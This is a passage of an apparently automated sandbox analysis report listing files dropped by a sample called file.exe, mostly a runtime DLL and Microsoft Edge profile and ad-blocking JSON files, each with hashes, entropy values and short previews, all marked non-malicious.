SHA-512:	2D4168A69082A9192B9248F7331BD806C260478FF817567DF54F997D7C3C7D640776131355401E4BDB9744E246C36D658CB24B18DE67D8F23F10066E5FE445F6
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!................P...............................................Sg....@A........................Dv..S....w..........................P/.......5..8q...............................................{...............................text...&........................... ..`.rdata.............................@..@.data................\|..............@....00cfg..............................@..@.rsrc...............................@..@.reloc...5.......6..................@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\vcruntime140.dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	80880
Entropy (8bit):	6.920480786566406
Encrypted:	false
SSDEEP:	1536:lw2886xv555et/MCsjw0BuRK3jteo3ecbA2W86b+Ld:lw28V55At/zqw+Iq9ecbA2W8H
MD5:	A37EE36B536409056A86F50E67777DD7
SHA1:	1CAFA159292AA736FC595FC04E16325B27CD6750
SHA-256:	8934AAEB65B6E6D253DFE72DEA5D65856BD871E989D5D3A2A35EDFE867BB4825
SHA-512:	3A7C260646315CF8C01F44B2EC60974017496BD0D80DD055C7E43B707CADBA2D63AAB5E0EFD435670AA77886ED86368390D42C4017FC433C3C4B9D1C47D0F356
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$......................08e...................................................u............Rich............PE..L...\|.0].........."!.........................................................0.......m....@A.............................................................A... ....... ..8............................ ..@............................................text............................... ..`.data...............................@....idata..............................@..@.rsrc...............................@..@.reloc....... ......................@..B................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\4282f2b2-016f-43e8-b2c8-5c3c8d8c571e.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	44604
Entropy (8bit):	6.096885606758315
Encrypted:	false
SSDEEP:	768:zDXzgWPsj/qlGJqIY8GB4kkBiwuqhDO6vP6O3MNVt8hb4ExcGoup1Xl3jVzXr4CW:z/Ps+wsI7ynEM6cIchu3VlXr4CRo1
MD5:	93E681E87BE350192BEA1154F36D7721
SHA1:	555214AEFB12CC6D8A689247304F1428E5038679
SHA-256:	34C69A97961705B43D191004C577104AFE60E9EF6787FC228614263E1DFB510B
SHA-512:	5C2B9F4512DC80C576EBDD36B91AD4AE24568B9328AA5CCBD46980E43912F179EF43168531656C23E59A030D51003248FB31F7062E9A89E6494F9A70C8FEA6EE
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJOray0KIOCL4cFk21LCwm0jIsXbWhuge7fO3sKot+GggT0

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\4add2f28-f805-4114-9ed5-72eb8d09afe3.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	modified
Size (bytes):	44604
Entropy (8bit):	6.096885606758315
Encrypted:	false
SSDEEP:	768:zDXzgWPsj/qlGJqIY8GB4kkBiwuqhDO6vP6O3MNVt8hb4ExcGoup1Xl3jVzXr4CW:z/Ps+wsI7ynEM6cIchu3VlXr4CRo1
MD5:	93E681E87BE350192BEA1154F36D7721
SHA1:	555214AEFB12CC6D8A689247304F1428E5038679
SHA-256:	34C69A97961705B43D191004C577104AFE60E9EF6787FC228614263E1DFB510B
SHA-512:	5C2B9F4512DC80C576EBDD36B91AD4AE24568B9328AA5CCBD46980E43912F179EF43168531656C23E59A030D51003248FB31F7062E9A89E6494F9A70C8FEA6EE
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJOray0KIOCL4cFk21LCwm0jIsXbWhuge7fO3sKot+GggT0

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\6bda20e8-6858-40d8-b44e-734f37d8d72d.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	modified
Size (bytes):	46031
Entropy (8bit):	6.089591823445795
Encrypted:	false
SSDEEP:	768:mMkbJrT8IeQcrQgNo2y8hu4UhDO6vP6O3MNRYiJFErE2vULbQQkHX1hICAoEGoup:mMk1rT8Hto2jD6cbL0THgRoEhu3VlXrx
MD5:	504FBD9870C25CC2948EE16F882383FA
SHA1:	315E589F05A343A4C0CB60CDE554ED060F559168
SHA-256:	A19F32FE66A1D946FDE88E858C7D086FE1702BC232945C66F65C8B435460EE6E
SHA-512:	6CEAE3F1DFC6FF89EE3F365C09C0171E95D011E75AB3063B7EAC8D4DC5E1EB6EF463F333DA298B8CB7D6F3D36503EA1A58160212084A750DFEB81C7DDAC24912
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"5E25271B8190D943537AD3FDB50874FC133E8B4A00380E2A6A888D63386F728B\"","browser":{"browser_build_version":"117.0.2045.47","browser_version_of_last_seen_whats_new":"117.0.2045.47","last_seen_whats_new_page_version":"117.0.2045.47"},"desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL1dWZPktpH+KxP9ZDtU6GMujfykHY9txVpHyHIoYh2ODhBEkWiCAAdHVbEc/u+bCVb1dE8RqEqOdh806mbzw8VEXshM/PuKb27vha2luF9LHqKT96KVoru3G+mcquXVN/++4sOgleBBWeOvvvnn4YGs7wcLz8erb65+HMKPMVx9dVXbnisDT4wMa612TNj+6j9fUSA+xFpZPyH/9dVVQig59Wx4L5+Cwzjg799ubt/jJP48zeE9TuHwDjYBc/Ew+Ktvbv/z1ZWoe+rsjB4/7Abr5U+ajz9LXo9Px+21Mk1hoo/oX6HHjTLyKTjYyMJmCbLnO/hZMpjFAjSvxOIhbxgi5FK85m+ZCkuQu7UyKoxLO97yIFoYvbAluiw2oRoYgIQ2nG2AqJY2U+koRXQbbMm3fMsEX9JMK3GLbeAvNjhrlo5GOJiTA/oXLTdG6qXtmMBDiyS59PvY7eCklyb4QcfFi7tpdwu3VBt1XNorvM4+RiU6+CjD0kb+pHz7rRm3rXSyzABnWdKBG+Ijlx7hEE4QTzo+AB6fnDLLJBpo7PKv8Ob367/KjUg

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\725787fe-e702-4eeb-a74e-13ec797808f8.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	46031
Entropy (8bit):	6.089588876139846
Encrypted:	false
SSDEEP:	768:mMkbJrT8IeQcrQgN92y8hu4UhDO6vP6O3MNRYiJFErE2vULbQQkHX1hICAoEGoup:mMk1rT8Ht92jD6cbL0THgRoEhu3VlXrx
MD5:	18ED82EC0C117EAA084CB86C78B86DBD
SHA1:	7BF93783D63C6283FFF35AC3FAB1879931693BA7
SHA-256:	B0D56D290C0749D8C33188E79D4E4630067F571841C9434EE467A70FD1923FEB
SHA-512:	AA554CE60C2B7FB4E8C76E14071042B56F06398A35F032290749F330503965F46E74898B46527F9099E1C5B489C7AFDF64026B723647C74D008F45D8863AE649
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"5E25271B8190D943537AD3FDB50874FC133E8B4A00380E2A6A888D63386F728B\"","browser":{"browser_build_version":"117.0.2045.47","browser_version_of_last_seen_whats_new":"117.0.2045.47","last_seen_whats_new_page_version":"117.0.2045.47"},"desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL1dWZPktpH+KxP9ZDtU6GMujfykHY9txVpHyHIoYh2ODhBEkWiCAAdHVbEc/u+bCVb1dE8RqEqOdh806mbzw8VEXshM/PuKb27vha2luF9LHqKT96KVoru3G+mcquXVN/++4sOgleBBWeOvvvnn4YGs7wcLz8erb65+HMKPMVx9dVXbnisDT4wMa612TNj+6j9fUSA+xFpZPyH/9dVVQig59Wx4L5+Cwzjg799ubt/jJP48zeE9TuHwDjYBc/Ew+Ktvbv/z1ZWoe+rsjB4/7Abr5U+ajz9LXo9Px+21Mk1hoo/oX6HHjTLyKTjYyMJmCbLnO/hZMpjFAjSvxOIhbxgi5FK85m+ZCkuQu7UyKoxLO97yIFoYvbAluiw2oRoYgIQ2nG2AqJY2U+koRXQbbMm3fMsEX9JMK3GLbeAvNjhrlo5GOJiTA/oXLTdG6qXtmMBDiyS59PvY7eCklyb4QcfFi7tpdwu3VBt1XNorvM4+RiU6+CjD0kb+pHz7rRm3rXSyzABnWdKBG+Ijlx7hEE4QTzo+AB6fnDLLJBpo7PKv8Ob367/KjUg

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Ad Blocking\8ec62504-4b85-40d1-8f60-cba380db1769.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	107893
Entropy (8bit):	4.640139822627159
Encrypted:	false
SSDEEP:	1536:B/lv4EsQMNeQ9s5VwB34PsiaR+tjvYArQdW+Iuh57P7o:fwUQC5VwBIiElEd2K57P7o
MD5:	3F661497580210A9A5B194DBDE387CBD
SHA1:	AC5DA82539FDF967C0D29284446BBF33C1023DE3
SHA-256:	8615001DB8EA389D4FF271071160DD5F17A56A2FF6412C3D0A77531FBA8234C1
SHA-512:	8B7CE599B9C5A232BBB45152B5FE7850C2A7161EE914B04A63EDB0EF313D6C5A53962614F664908518B630D97F84C0EA5FED4CC0404D10EF9E5B6D58AB037437
Malicious:	false
Preview:	{"sites":[{"url":"24video.be"},{"url":"7dnifutbol.bg"},{"url":"6tv.dk"},{"url":"9kefa.com"},{"url":"aculpaedoslb.blogspot.pt"},{"url":"aek-live.gr"},{"url":"arcadepunk.co.uk"},{"url":"acidimg.cc"},{"url":"aazah.com"},{"url":"allehensbeverwijk.nl"},{"url":"amateurgonewild.org"},{"url":"aindasoudotempo.blogspot.com"},{"url":"anorthosis365.com"},{"url":"autoreview.bg"},{"url":"alivefoot.us"},{"url":"arbitro10.com"},{"url":"allhard.org"},{"url":"babesnude.info"},{"url":"aysel.today"},{"url":"animepornx.com"},{"url":"bahisideal20.com"},{"url":"analyseindustrie.nl"},{"url":"bahis10line.org"},{"url":"apoel365.net"},{"url":"bahissitelerisikayetleri.com"},{"url":"bambusratte.com"},{"url":"banzaj.pl"},{"url":"barlevegas.com"},{"url":"baston.info"},{"url":"atomcurve.com"},{"url":"atascadocherba.com"},{"url":"astrologer.gr"},{"url":"adultpicz.com"},{"url":"alleporno.com"},{"url":"beaver-tube.com"},{"url":"beachbabes.info"},{"url":"bearworldmagazine.com"},{"url":"bebegimdensonra.com"},{"url":"autoy

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Ad Blocking\blocklist (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	107893
Entropy (8bit):	4.640139822627159
Encrypted:	false
SSDEEP:	1536:B/lv4EsQMNeQ9s5VwB34PsiaR+tjvYArQdW+Iuh57P7o:fwUQC5VwBIiElEd2K57P7o
MD5:	3F661497580210A9A5B194DBDE387CBD
SHA1:	AC5DA82539FDF967C0D29284446BBF33C1023DE3
SHA-256:	8615001DB8EA389D4FF271071160DD5F17A56A2FF6412C3D0A77531FBA8234C1
SHA-512:	8B7CE599B9C5A232BBB45152B5FE7850C2A7161EE914B04A63EDB0EF313D6C5A53962614F664908518B630D97F84C0EA5FED4CC0404D10EF9E5B6D58AB037437
Malicious:	false
Preview:	{"sites":[{"url":"24video.be"},{"url":"7dnifutbol.bg"},{"url":"6tv.dk"},{"url":"9kefa.com"},{"url":"aculpaedoslb.blogspot.pt"},{"url":"aek-live.gr"},{"url":"arcadepunk.co.uk"},{"url":"acidimg.cc"},{"url":"aazah.com"},{"url":"allehensbeverwijk.nl"},{"url":"amateurgonewild.org"},{"url":"aindasoudotempo.blogspot.com"},{"url":"anorthosis365.com"},{"url":"autoreview.bg"},{"url":"alivefoot.us"},{"url":"arbitro10.com"},{"url":"allhard.org"},{"url":"babesnude.info"},{"url":"aysel.today"},{"url":"animepornx.com"},{"url":"bahisideal20.com"},{"url":"analyseindustrie.nl"},{"url":"bahis10line.org"},{"url":"apoel365.net"},{"url":"bahissitelerisikayetleri.com"},{"url":"bambusratte.com"},{"url":"banzaj.pl"},{"url":"barlevegas.com"},{"url":"baston.info"},{"url":"atomcurve.com"},{"url":"atascadocherba.com"},{"url":"astrologer.gr"},{"url":"adultpicz.com"},{"url":"alleporno.com"},{"url":"beaver-tube.com"},{"url":"beachbabes.info"},{"url":"bearworldmagazine.com"},{"url":"bebegimdensonra.com"},{"url":"autoy

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\BrowserMetrics-spare.pma (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	4194304
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3::
MD5:	B5CFA9D6C8FEBD618F91AC2843D50A1C
SHA1:	2BCCBD2F38F15C13EB7D5A89FD9D85F595E23BC3
SHA-256:	BB9F8DF61474D25E71FA00722318CD387396CA1736605E1248821CC0DE3D3AF8
SHA-512:	BD273BF4E10ED6E305ECB7B781CB065545FCE9BE9F1E2968DF22C3A98F82D719855AAFE5FF303D14EA623A5C55E51E924E10033A92A7A6B07725D7E9692B74F5
Malicious:	false
Preview:	........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\BrowserMetrics-spare.pma.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	4194304
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3::
MD5:	B5CFA9D6C8FEBD618F91AC2843D50A1C
SHA1:	2BCCBD2F38F15C13EB7D5A89FD9D85F595E23BC3
SHA-256:	BB9F8DF61474D25E71FA00722318CD387396CA1736605E1248821CC0DE3D3AF8
SHA-512:	BD273BF4E10ED6E305ECB7B781CB065545FCE9BE9F1E2968DF22C3A98F82D719855AAFE5FF303D14EA623A5C55E51E924E10033A92A7A6B07725D7E9692B74F5
Malicious:	false
Preview:	........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Crashpad\settings.dat

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	280
Entropy (8bit):	4.132041621771752
Encrypted:	false
SSDEEP:	3:FiWWltlApdeXKeQwFMYLAfJrAazlYBVP/Sh/JzvPWVcRVEVg3WWD5x1:o1ApdeaEqYsMazlYBVsJDu2ziy5
MD5:	845CFA59D6B52BD2E8C24AC83A335C66
SHA1:	6882BB1CE71EB14CEF73413EFC591ACF84C63C75
SHA-256:	29645C274865D963D30413284B36CC13D7472E3CD2250152DEE468EC9DA3586F
SHA-512:	8E0E7E8CCDC8340F68DB31F519E1006FA7B99593A0C1A2425571DAF71807FBBD4527A211030162C9CE9E0584C8C418B5346C2888BEDC43950BF651FD1D40575E
Malicious:	false
Preview:	sdPC......................X..<EE..r/y..."pZLhTaJ23hN5uQxwzu0K2CYes/dvJuE93VbIVV/LnRA="..................................................................................47DEQpj8HBSa+/TImW+5JCeuQeRkm5NMpJWZG3hSuFU=....................fdb35e9f-12f5-40d5-8d50-87a9333d43a4............

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\085437f2-5bb6-46c8-be35-84d8f0ec905a.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with very long lines (1597), with CRLF line terminators
Category:	dropped
Size (bytes):	115717
Entropy (8bit):	5.183660917461099
Encrypted:	false
SSDEEP:	1536:utDURN77GZqW3v6PD/469IxVBmB22q7LRks3swn0:utAaE2Jt0
MD5:	3D8183370B5E2A9D11D43EBEF474B305
SHA1:	155AB0A46E019E834FA556F3D818399BFF02162B
SHA-256:	6A30BADAD93601FC8987B8239D8907BCBE65E8F1993E4D045D91A77338A2A5B4
SHA-512:	B7AD04F10CD5DE147BDBBE2D642B18E9ECB2D39851BE1286FDC65FF83985EA30278C95263C98999B6D94683AE1DB86436877C30A40992ACA1743097A2526FE81
Malicious:	false
Preview:	{.. "current_locale": "en-GB",.. "hub_apps": [ {.. "auto_show": {.. "enabled": true,.. "fre_notification": {.. "enabled": true,.. "header": "Was opening this pane helpful to you?",.. "show_count": 2,.. "text": "Was opening this pane helpful to you?".. },.. "settings_description": "We'll automatically open Bing Chat in the sidebar to show you relevant web experiences alongside your web content",.. "settings_title": "Automatically open Bing Chat in the sidebar",.. "triggering_configs\|flight:msHubAppsMsnArticleAutoShowTriggering": [ {.. "show_count_basis": "signal",.. "signal_name": "IsMsnArticleAutoOpenFromP1P2",.. "signal_threshold": 0.5.. } ],.. "triggering_configs\|flight:msUndersidePersistentChat": [ {.. "signal_name": "IsUndersidePersistentChatLink",.. "signal_threshold": 0.5.. } ],.. "triggering_co

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\14811d3d-dd18-4d13-b551-52e65415f411.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	38626
Entropy (8bit):	5.5548020267175655
Encrypted:	false
SSDEEP:	768:ue1nQp7pLGLpkCWPGkfM18F1+UoAYDCx9Tuqh0VfUC9xbog/OV4+thErwDNelmqe:ue1nQ/cpkCWPGkfM1u1jah4hdDNeljvG
MD5:	00726C65B572E71AB339813582DB3D2C
SHA1:	C5ABD74FD77DB35BE974A0BAC7B27EEDB460E262
SHA-256:	AABF25023EF87EA2284702B29F11734B2B674E4A0102791699CC7FE77242338C
SHA-512:	E7060E7EC5B91D9133D5951623A75178375495B79F3BD3D3029090259EE533C223675AD8FF58E5206DF35F266A05D4D1BB23D8E001A522CB6656DBC197E8ACFE
Malicious:	false
Preview:	{"edge_fundamentals_appdefaults":{"ess_lightweight_version":101},"ess_kv_states":{"restore_on_startup":{"closed_notification":false,"decrypt_success":true,"key":"restore_on_startup","notification_popup_count":0},"startup_urls":{"closed_notification":false,"decrypt_success":true,"key":"startup_urls","notification_popup_count":0},"template_url_data":{"closed_notification":false,"decrypt_success":true,"key":"template_url_data","notification_popup_count":0}},"extensions":{"settings":{"ahfgeienlihckogmohjhadlkjgocpleb":{"active_permissions":{"api":["management","system.display","system.storage","webstorePrivate","system.cpu","system.memory","system.network"],"explicit_host":[],"manifest_permissions":[],"scriptable_host":[]},"app_launcher_ordinal":"t","commands":{},"content_settings":[],"creation_flags":1,"events":[],"first_install_time":"13376284947062265","from_webstore":false,"incognito_content_settings":[],"incognito_preferences":{},"last_update_time":"13376284947062265","location":5,"ma

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\1dd32080-09d1-47ec-86b3-4286c9e214ef.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	Unicode text, UTF-8 text, with very long lines (17620), with no line terminators
Category:	dropped
Size (bytes):	17621
Entropy (8bit):	5.492308969697612
Encrypted:	false
SSDEEP:	384:stMPGQSu4is+vfhwtj8RFbGhQw06WjlaTYr:saOXuvvfBbGSbdaTYr
MD5:	128FA297F4EA0EA41146FE6876664214
SHA1:	A7DEC1759EF65A7ED2AC22471A8DCE07BB7B939B
SHA-256:	3997A84CFC10E7493285BC668DF0E9B7D783F883B8B74B5346AA47678B258547
SHA-512:	66D243A3638CD5490A42BBFF14510AEE32E97392C980783627AB6854BAC51A1797FA0B4EF10AE269C8D37D3EA683B1768BBC92B2E1572E5BD79B8270B0369592
Malicious:	false
Preview:	{"aadc_info":{"age_group":0},"account_tracker_service_last_update":"13376284947691140","alternate_error_pages":{"backup":true},"apps":{"shortcuts_arch":"","shortcuts_version":0},"arbitration_experiences":{},"arbitration_local_nsat_reset_time":"13340900603634208","arbitration_using_experiment_config":false,"autocomplete":{"retention_policy_last_version":117},"browser":{"available_dark_theme_options":"All","has_seen_welcome_page":false,"history_in_shoreline_activated":true,"hub_app_non_synced_preferences":{"apps":{"06be1ebe-f23a-4bea-ae45-3120ad86cfea":{"last_path":""},"0c835d2d-9592-4c7a-8d0a-0e283c9ad3cd":{"last_path":""},"168a2510-04d5-473e-b6a0-828815a7ca5f":{"last_path":""},"1ec8a5a9-971c-4c82-a104-5e1a259456b8":{"last_path":""},"2354565a-f412-4654-b89c-f92eaa9dbd20":{"last_path":""},"25fe2d1d-e934-482a-a62f-ea1705db905d":{"last_path":""},"2caf0cf4-ea42-4083-b928-29b39da1182b":{"last_path":""},"2cb2db96-3bd0-403e-abe2-9269b3761041":{"last_path":""},"35a43603-bb38-4b53-ba20-932cb9117

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\27ff3b97-4e4e-40f4-8600-2b505d9691c1.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	Unicode text, UTF-8 text, with very long lines (16862), with no line terminators
Category:	dropped
Size (bytes):	16863
Entropy (8bit):	5.453941958171331
Encrypted:	false
SSDEEP:	192:stMJ99QTryDiuabatSuypisc/LjsZihUkjNVwGGKOUhJ180bV+FGEQw966WtNaFM:stMPGQSu4is+vfhbRFbGhQw06WjaTYr
MD5:	FE73A54ACCF5282A27F1E75702896375
SHA1:	220D4838C3D4B5A7EC94882AB911CA3F885DF9FD
SHA-256:	FB7A9670831EE738215ED98FCF22C97A6DF21E4D4E60215F8E89FE153E8FB8C1
SHA-512:	2CCE9F7568BE91082B8F4D5F8FE748838E0299120D4FFD02BD110277BDA6800C1623470939F385ADE4AAA65471DFE8EFDE059651E3651E71F0A40EF99C0C2865
Malicious:	false
Preview:	{"aadc_info":{"age_group":0},"account_tracker_service_last_update":"13376284947691140","alternate_error_pages":{"backup":true},"apps":{"shortcuts_arch":"","shortcuts_version":0},"arbitration_experiences":{},"arbitration_local_nsat_reset_time":"13340900603634208","arbitration_using_experiment_config":false,"autocomplete":{"retention_policy_last_version":117},"browser":{"available_dark_theme_options":"All","has_seen_welcome_page":false,"history_in_shoreline_activated":true,"hub_app_non_synced_preferences":{"apps":{"06be1ebe-f23a-4bea-ae45-3120ad86cfea":{"last_path":""},"0c835d2d-9592-4c7a-8d0a-0e283c9ad3cd":{"last_path":""},"168a2510-04d5-473e-b6a0-828815a7ca5f":{"last_path":""},"1ec8a5a9-971c-4c82-a104-5e1a259456b8":{"last_path":""},"2354565a-f412-4654-b89c-f92eaa9dbd20":{"last_path":""},"25fe2d1d-e934-482a-a62f-ea1705db905d":{"last_path":""},"2caf0cf4-ea42-4083-b928-29b39da1182b":{"last_path":""},"2cb2db96-3bd0-403e-abe2-9269b3761041":{"last_path":""},"35a43603-bb38-4b53-ba20-932cb9117

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\5d68b190-62da-4fb8-aa06-7fa697a5ae3e.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	very short file (no magic)
Category:	dropped
Size (bytes):	1
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3:L:L
MD5:	5058F1AF8388633F609CADB75A75DC9D
SHA1:	3A52CE780950D4D969792A2559CD519D7EE8C727
SHA-256:	CDB4EE2AEA69CC6A83331BBE96DC2CAA9A299D21329EFB0336FC02A82E1839A8
SHA-512:	0B61241D7C17BCBB1BAEE7094D14B7C451EFECC7FFCBD92598A0F13D313CC9EBC2A07E61F007BAF58FBF94FF9A8695BDD5CAE7CE03BBF1E94E93613A00F25F21
Malicious:	false
Preview:	.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\6f619f6f-da07-492c-b89f-a1756ee69249.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	Unicode text, UTF-8 text, with very long lines (17620), with no line terminators
Category:	dropped
Size (bytes):	17621
Entropy (8bit):	5.492046649366273
Encrypted:	false
SSDEEP:	384:stMPGQSu4is+vfhwtj8RFbGhQw06WylaTYr:saOXuvvfBbGSbQaTYr
MD5:	C5D99B9D824CDA65C9A50F3F81064C08
SHA1:	84A1E134D6D2C17B0251D05B82A3D1D6CF37F4C1
SHA-256:	2DA111156FA3B1335EC657D79A5283933B9449BF7419A372F32EDD79A9681BFB
SHA-512:	ED10208A324970E8091C458620CC0CEDD89414F25A1972CAD4341C2315E752DD28CACD4C6291F344B10B8D7B5B651C44B0A31E6F3D85ECBA0BBAEB5989D77BF6
Malicious:	false
Preview:	{"aadc_info":{"age_group":0},"account_tracker_service_last_update":"13376284947691140","alternate_error_pages":{"backup":true},"apps":{"shortcuts_arch":"","shortcuts_version":0},"arbitration_experiences":{},"arbitration_local_nsat_reset_time":"13340900603634208","arbitration_using_experiment_config":false,"autocomplete":{"retention_policy_last_version":117},"browser":{"available_dark_theme_options":"All","has_seen_welcome_page":false,"history_in_shoreline_activated":true,"hub_app_non_synced_preferences":{"apps":{"06be1ebe-f23a-4bea-ae45-3120ad86cfea":{"last_path":""},"0c835d2d-9592-4c7a-8d0a-0e283c9ad3cd":{"last_path":""},"168a2510-04d5-473e-b6a0-828815a7ca5f":{"last_path":""},"1ec8a5a9-971c-4c82-a104-5e1a259456b8":{"last_path":""},"2354565a-f412-4654-b89c-f92eaa9dbd20":{"last_path":""},"25fe2d1d-e934-482a-a62f-ea1705db905d":{"last_path":""},"2caf0cf4-ea42-4083-b928-29b39da1182b":{"last_path":""},"2cb2db96-3bd0-403e-abe2-9269b3761041":{"last_path":""},"35a43603-bb38-4b53-ba20-932cb9117

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\73033ddb-2cff-4d96-adbe-249e6f589e3a.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	40470
Entropy (8bit):	5.561224298977073
Encrypted:	false
SSDEEP:	768:ue1nQp7pLGLpkCWPGkfL18F1+UoAYDCx9Tuqh0VfUC9xbog/OVajF+thErwDNenT:ue1nQ/cpkCWPGkfL1u1jarjF4hdDNenT
MD5:	DC8E85CD77C17B62B5721E6DB8F536DE
SHA1:	0DC727DAB82461F9F42680AB22C2CCA3F896162F
